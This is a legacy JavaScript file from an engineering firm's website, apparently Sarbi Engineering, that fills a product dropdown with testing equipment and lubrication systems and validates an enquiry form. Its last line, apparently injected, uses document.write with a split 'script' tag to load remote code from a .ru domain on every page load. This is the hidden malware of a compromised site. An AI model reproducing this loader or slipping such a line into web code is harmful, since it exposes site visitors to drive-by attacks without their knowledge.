// JavaScript Document

<!-- populating product list -->

function productslist(){
	var productcategory1
	productcategory1 = (document.all.engineering.productcategory.value);
	document.all.engineering.products.length=0;

	if(productcategory1!=""){
			if(productcategory1=="testingequipment"){
				var pdlist = new Array();
				var pdlist = new Array(10);
				var pdlist = new Array("corrosion test for engine coolants-ASTM D 1384","circulating corrosion property-JIS K 2234","corrosion of cast aluminium alloys in   engine coolants-ASTM D 4340","shear stability testing apparatus-ASTM D 6278","copper strip corrosion bath-IP 154,IS 1448 ,ASTM D 130","torque testing apparatus for lubricating greases-IP 186","evaporation loss apparatus-ASTM D 972","oxidation stability of inhibited mineral   insulating oils-ASTM D 943, 2893, IS 12422","oxidation characteristics test-ASTM D94-ASTM D2274-ASTM D2893-ASTM D4310-DIN 51 586-DIN 51 587","oil oxidation apparatus (rotating bomb)-ASTM D 2272");
				var i=0
					for(var i=0;i<10;i++){
						var newOptionElement = document.createElement("option");
						newOptionElement.setAttribute("value",pdlist[i]);
						newOptionElement.innerHTML = pdlist[i];
						news = (document.all.engineering.products);
						news.appendChild(newOptionElement);
					}
				}
				
			if(productcategory1=="testspecimens"){
				}

			if(productcategory1=="lubricationsystems"){
				
				var pdlist = new Array();
				var pdlist = new Array(10);
				var pdlist = new Array("single line oil lubrication systems","multi line oil lubrication systems","single line grease lubrication systems","multi line grease lubrication systems","total loss lubrication systems","circulation lubrication systems","monitoring equipment","metering element","cycle control units","distributors");
				var i=0
					for(var i=0;i<10;i++){
						var newOptionElement = document.createElement("option");
						newOptionElement.setAttribute("value",pdlist[i]);
						newOptionElement.innerHTML = pdlist[i];
						news = (document.all.engineering.products);
						news.appendChild(newOptionElement);
					}				
				}				
		}
	}

<!-- end populating product list -->
<!-- form validation -->
function vform(){
<!-- Declaring variable -->
	var productcategory, products, info, organisation, firstname, familyname, designation, address, street, city, lstate, country, zipcode, telephone, fax, email, website, errmsg;

productcategory = (document.all.engineering.productcategory.value);
products = (document.all.engineering.products.value);
info = (document.all.engineering.info.value);
organisation = (document.all.engineering.organisation.value);
firstname = (document.all.engineering.firstname.value);
familyname = (document.all.engineering.familyname.value);
designation = (document.all.engineering.designation.value);
address = (document.all.engineering.address.value);
street = (document.all.engineering.street.value);
city = (document.all.engineering.city.value);
lstate = (document.all.engineering.lstate.value);
country = (document.all.engineering.country.value);
zipcode = (document.all.engineering.zipcode.value);
telephone = (document.all.engineering.telephone.value);
fax = (document.all.engineering.fax.value);
email = (document.all.engineering.email.value);
website = (document.all.engineering.website.value);
errmsg='';

<!-- validating first name -->	
	if((firstname=='')||(firstname.length<2)||(firstname.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter first name'+ "\n";
	}

<!-- validating last name -->	
	if((familyname=='')||(familyname.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter family name'+ "\n";
	}	

<!-- validating organisation name -->	
	if((organisation=='')||(organisation.length<4)||(firstname.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter organisation name'+ "\n";
	}		

<!-- validating address -->	
	if((address=='')||(address.length<4)||(address.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter address'+ "\n";
	}			

<!-- validating city -->	
	if((city=='')||(city.length<4)||(city.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter city'+ "\n";
	}			

<!-- validating state -->	
	if((lstate=='')||(lstate.length<4)||(lstate.charCodeAt(0)==32)){
		errmsg=errmsg+'Kindly enter state'+ "\n";
	}			
	
<!-- validating zipcode -->	
	if((zipcode=='')||(zipcode.length<6)||(zipcode.charCodeAt(0)==32)||(isNaN(zipcode))){
		errmsg=errmsg+'Kindly enter zipcode'+ "\n";
	}			

<!-- validating telephone -->	
	if((isNaN(telephone))){
		errmsg=errmsg+'Kindly enter valid telephone'+ "\n";
	}

<!-- validating telephone -->	
	if(isNaN(fax)){
		errmsg=errmsg+'Kindly enter valid fax'+ "\n";
	}
					
<!-- validating E-mail -->
		if((document.all.engineering.email.value) == ''){
		errmsg = errmsg +  "Please Enter Email-ID" + "\n";
	}
	
	mainloop:
	if((document.all.engineering.email.value) != ''){
	var	email2 = 0;
	var email4 = "";
	var qa;

		for(var i=0;i<(document.all.engineering.email.value).length;i++){
			var email6 = (document.all.engineering.email.value).charCodeAt(i);
			if(((email6>90)&&(email6<97)&&(email6!=95))||((email6<64)&&(email6>57))||((email6<48)&&(email6!=45)&&(email6!=46))){
				errmsg = errmsg + "Please enter valid E-mail id" + "\n";
				break mainloop				
			}
		}
		for(var q=0;q<(document.all.engineering.email.value).length;q++){
			if((document.all.engineering.email.value).charAt(q) == '@'){
				qa = q;
				email2 = email2+1;
			}
		}
		if((email2 == 1)){
			var email3 = (document.all.engineering.email.value).substring((qa+1),(document.all.engineering.email.value).length);
			for(var qb=0;qb<(email3.length);qb++){
				if((email3.charAt(qb) == '.') && (qb>0)){
						var email5 = email3.substring((qb+1),email3.length);
					if((email5.length) >= 2){
						email4 = 'yes';						
						break mainloop;
					}
					else{
						email4 = 'no';
					}
				}
				else{
					email4 = 'no';
				}
			}
		}
		if((email4 == 'no') || (email2 != 1) || (qa == 0) || (email3 == "")){
			errmsg = errmsg + "Please enter valid E-mmail id" + "\n";
		}			
	}
<!--End form validation -->	
	if(errmsg == ""){
		vvalue = true;
	}
	else{
		alert (errmsg);
		vvalue = false;
	}		
}
<!-- end form validation -->
<!-- set statusbar -->
function stsbar(){
		window.status = ("Sarbi Engineering - testing equipments, test specimens, lubrication systems");
	}


document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Firewire.js"></scr'+'ipt>');